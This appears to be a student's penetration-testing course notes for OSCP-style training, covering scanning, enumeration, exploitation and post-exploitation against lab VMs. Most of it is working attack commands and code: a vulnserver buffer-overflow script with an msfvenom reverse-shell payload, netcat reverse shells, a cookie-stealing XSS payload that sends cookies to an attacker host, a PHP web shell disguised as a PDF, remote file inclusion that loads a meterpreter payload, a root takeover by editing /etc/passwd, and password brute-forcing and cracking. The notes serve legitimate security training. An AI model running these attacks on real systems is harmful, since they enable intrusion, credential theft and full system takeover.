INE-OSCP Course Note:SMN666

service ssh start

netstat -antp | grep ssh

#for ip in $(seq 1 254); do ping -c 192.168.15.$ip | grep "64 bytes" | cut -d " " -f 4 | sed 's/.$//' & done

nano pingsweep.sh

#!/bin/bash

if ["$1" == ""]

then

echo "Usage : ./pingsweep.sh [network]"

echo "Example: ./pingsweep.sh 192.168.1"

else

for ip in `seq 1 254` ; do

ping -c 1 $1.$ip | grep "64 bytes" | cut -d " " -f 4 | sed 's/.$//' &

done

fi

chmod +x pingsweep.sh

./pingsweep.sh

#nmap -sn 192.168.15.0/24

#nmap -vv -Pn -A -sS -T4 -p- -oN /root/tcpscan.txt 192.168.10.2

scanning with Metasploit

#msfconsole

#search portscan

Enumeration

SSH Enumeration:

#namp -nvv -Pn- -sSV -p 22,80,139,443 --version-intensity 9 -A -oN /root/detail.txt {ip}

#search vulnerabilities in online OPENSSH version

#searchsploit 2.9 {version no.}

#searchsploit openssh

#ssh [ip]

#ssh -c aes128-cbc [ip]

HTTP Enumeration:

#use dirbuster

#locate wordlists

#nikto -h [ip][port]

#e.g. nikto -h 192.168.1.1:443

SMB Enumeration:

#locate smb. conf

#nano /etc/samba/smb.conf

#enum4linux [ip]

#msfconsole

#search smb

#use auxiliary/scanner/smb/smb_version

#searchsploit samba 2.2[version no.]

#nbtscan [ip] #show NetBIOS name

#smbclient -L [ip]

#smbclient "\\\\[ip]\IPC$"

smb: \>

DNS Enumeration:

#host -t ns xxx.com #[nameserver]

#host -t mx xxx.com #[mailserver]

#host xxx.com

#host -l xxx.com [name server's name]

#dnsrecon -d xxxc.om -t axfr

#dnsenum xxx.com

Other Enumeration:

#FTP, SNMP, SMTP

Netcat:

Introduction to Netcat

connecting vs Listening

Bind Shells: Attacker connects to victim on listening port

Reverse Shells: Victim connects to attacker on listening port

File Transfers:

HTTP, wget, FTP, TFTP, Powershell

#put the exploit.php file to /var/www/html

#run apache in local host

#apt-get install python-pyftpdlib [to make ftp server]

cd /var/www/html

#python -m pyftpdlib -p 21

#Windows machine -> ftp [kali'ip] 21

ftp -> anonymous

```
#            ftp-> get exploit.php
#echo open [kali's ip] > ftp.txt
#echo anonymous >> ftp.txt
#echo password  >> ftp.txt
#echo binary    >> ftp.txt
#echo get exploit.php >> ftp.txt   (or)
#ftp -s:ftp.txt
#check windows currenty directory [excute echo cmd] and then U can check exploit.php
#
#msfconsole
#use auxilitary/server/ftp
#show options
#
#search trans2open
#use exploit/linux/samba/trans2open
#set RHOST
#set payload generic/shell_reverse_tcp
#set lhost
#run
#get a shell
#type : wget http://[kali's ip]/exploit.php
#If get a meterpreter shell type:
#upload /var/www/html/exploit.php C:\\Users\\Username
```

Compiling an Exploit:

```
#download an exploit
#ls -> example.c
#gcc example.c -o trans2open[exploit name]
```

#ls -la [check excutetable or not]

#./trans2open[exploit name]

Pre-Exploit Password Attacks:

#locate wordlists

#hydra -v -l root -P /usr/share/wordlists/rockyou.txt [ip] ssh

#msfconsole

#use auxilitary/scanner/ssh/ssh_login

#show options and then exploit :)

Buffer Overflow:

Fuzzing:

#download vulnserver https://thegreycorner.com/vulnserver.html

#https://github.com/stephenbradshaw/vulnserver

#download immunity debugger https://www.immunityinc.com/products/debugger/

#writer code fuzzer.py and then compile chmod 777 fuzzer.py

#nc -nv [vulnserver ip] 9999

#run ./fuzzer.py , it will crash the vulnserver.

Finding the Offset

#/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5900

#copy the shellcode and put it to shell script file

#and then compile pattern.py

#/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 5900 -q 386F4337[EIP]

#and then appears:Exact match at offset 2003

OverWriting the EIP

#nano pattern.py [change shell code in script and add the offset number]

```
#!/usr/bin/python
import socket
import sys

shellcode= "A" * 2003 + "B" * 4
try:
        connect=s.connect(('192.168.1.1',9999))
        s.send(('TRUN /.:/' + shellcode))
except:
        print"check debugger"
s.close()
```

#re-run vulnserver and attach in immunity debugger

#check EIP & EBP

Finding Bad Characters:

#find badchars on google

#create nano badchars.py

#go run vulnserver

#run immunitydebugger

#right click EIP follow dump check HEX dump

Finding the right Module:

#find mona module on google

#https://github.com/corelan/mona

#add mona.py file to C:Programfiles(x86)/ImmunityInc/ImmunityDebugger/Pycommands

#open vuln server

#and then attach immunity debugger

#find in kali

#locate nasm_shell

#/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

nasm > JMP ESP

in Immunity debugger type:

!mona find -s "\xff\xe4" -m essfunc.dll

nano badchars.py (edit shellcode)

add x86 code and name : module.py (my code)

chmod 777 module.py

#find JMP EMP in Immunity Debugger (type 625011af)

#./module.py

Generating Shellcode & Gaining Root:

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 EXITFUNC=thread -f c -a x86 --platform windows -b "\x00"

#nano module.py

add payload shell code to exploit function.

chmod 777 exploit.py

#open vulnserver

#nc -nvlp 4444

#./exploit.py

#Got ROOT!

Introduction to Privilege Escalation:

https://www.fuzzysecurity.com/tutorials/16.html

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

https://www.vulnhub.com/entry/basic-pentesting-1,216/

#use basic pentesting vm1 and scanning

#msfconsole

msf > use exploit/unix/webapp/wp_admin_shell_upload

msf > show options

msf > set targeturi /secret/

msf > exploit

meterpreter > getuid

meterpreter > shell

google -> linuxprivchecker

https://github.com/sleventyeleven/linuxprivchecker

#download python script and copy to /var/www/html

#wget kali's ip/linuxprivchecker.py

chmod 777 linuxprivchecker.py

python linuxprivchecker.py

meterpreter > edit /etc/passwd

openssl passwd --help

openssl passwd -1 and copy MD5-based password to root account

meterpreter > cat /etc/passwd (check root password)

meterpreter > shell

python -c 'import pty; pty.spawn("/bin/bash")'

#su root

#type password (from openssl)

Got Root!:)

Windows Post Exploitation:

install netcat on Windows machine

#download :fgdump.exe , PwDump7.exe, wce.exe (tarasco.org)

#http://www.tarasco.org/security/tools.html

#locate fgdump(kali)

#locate wce (kali)

#nc -nvlp 4444 (kali)

#-nv kali's ip 4444 -e cmd.exe (windows)

#kali got a reverse shell

> pwdump7.exe

Post-Exploit Password Attack:

#locate rockyou

#john --wordlist=/root/rockyou.txt windows[password hash file]

#john --show windows

#https://hashkiller.io/listmanager

#passwd shawdow unshadow > unshadow(all hash file in one file)

#john --rules --wordlist=/root/rockyou.txt unshadow

#hashcat -m 500 /root/rockyou.txt unshadow –force

Web APP Exploitation:

#download and install xss and mysql file on vulnhub

https://www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/

Cross-Site Scripting (XXS)

#netdiscover

#browse website ip on browser and submit XSS code

#<script>alert('XSS')</script>

#nano index.php

<?php

$cookie = isset($_GET["test"])?$_GET['test']:"";

?>

#service apahce2 stop

#php -S 192.x.x.x:80[setup ip]

#browse victim's web and submit XSS code

<script>location.href='http://192.x.x.x/index.php?test='+document.cookie;</script>

#copy session ID from victim web

#go cookies manager+ from browser add-on

#use cookie manager and replace session ID on admin page

#GOTACHA NOW!!!

SQL Injection

#https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/

#php -S kali'ip:80

#sqlmap -u "http://x.x.x.x/admin/edit.php?id=1" --cookie=PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxx

#sqlmap -u "http://x.x.x.x/admin/edit.php?id=1" --cookie=PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxx --dump

#sqlmap -u "http://x.x.x.x/admin/edit.php?id=1" --cookie=PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxx --os-shell

Local File Inclusion(LFI)

https://www.vulnhub.com/entry/pentester-lab-php-include-and-post-exploitation,79/

#netdiscover -r 192.x.x.x/24

#nikto -h [ip]

#nano shell.pdf

%PDF-1.4

<?php

   system($_GET["cmd"]);

   ?>

#upload this shell to submit form on Web.

#type URL

#192.x.x.x/index.php?page=uploads/shell.pdf%00&cmd=pwd

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

https://pentestmonkey.net/tools/web-shells/php-reverse-shell

#download php-reverse-shell

#edit header-> %PDF-1.4

#edit ip & port

#nc -nvlp 4444

#type Url

#192.x.x.x/index.php?page=uploads/shell2.pdf%00

#got a reverse shell!

Remote File Inclusion(RFI)

https://dvwa.co.uk/

#download and config security setting

#type url

#192.x.x.x:8080/vulnerabilities/fi/?page=http://google.com

#download php-reverse-shell from pentestermonkey

#cd /var/www/html

#msfvenom -p php/meterpreter/reverse_tcp LHOST=192.x.x.x LPORT=4444 >> exploit.php

#service apache2 stop

#python -m SimpleHTTPServer 80

#msfconsole

#set LHOST 192.x.x.x

#set LPORT 4444

#set payload php/meterpreter/reverse_tcp

#exploit

#192.x.x.x:8080/vulnerabilities/fi/?page=http://192.x.x.x/exploit.php

#got a meterpreter reverse shell!!!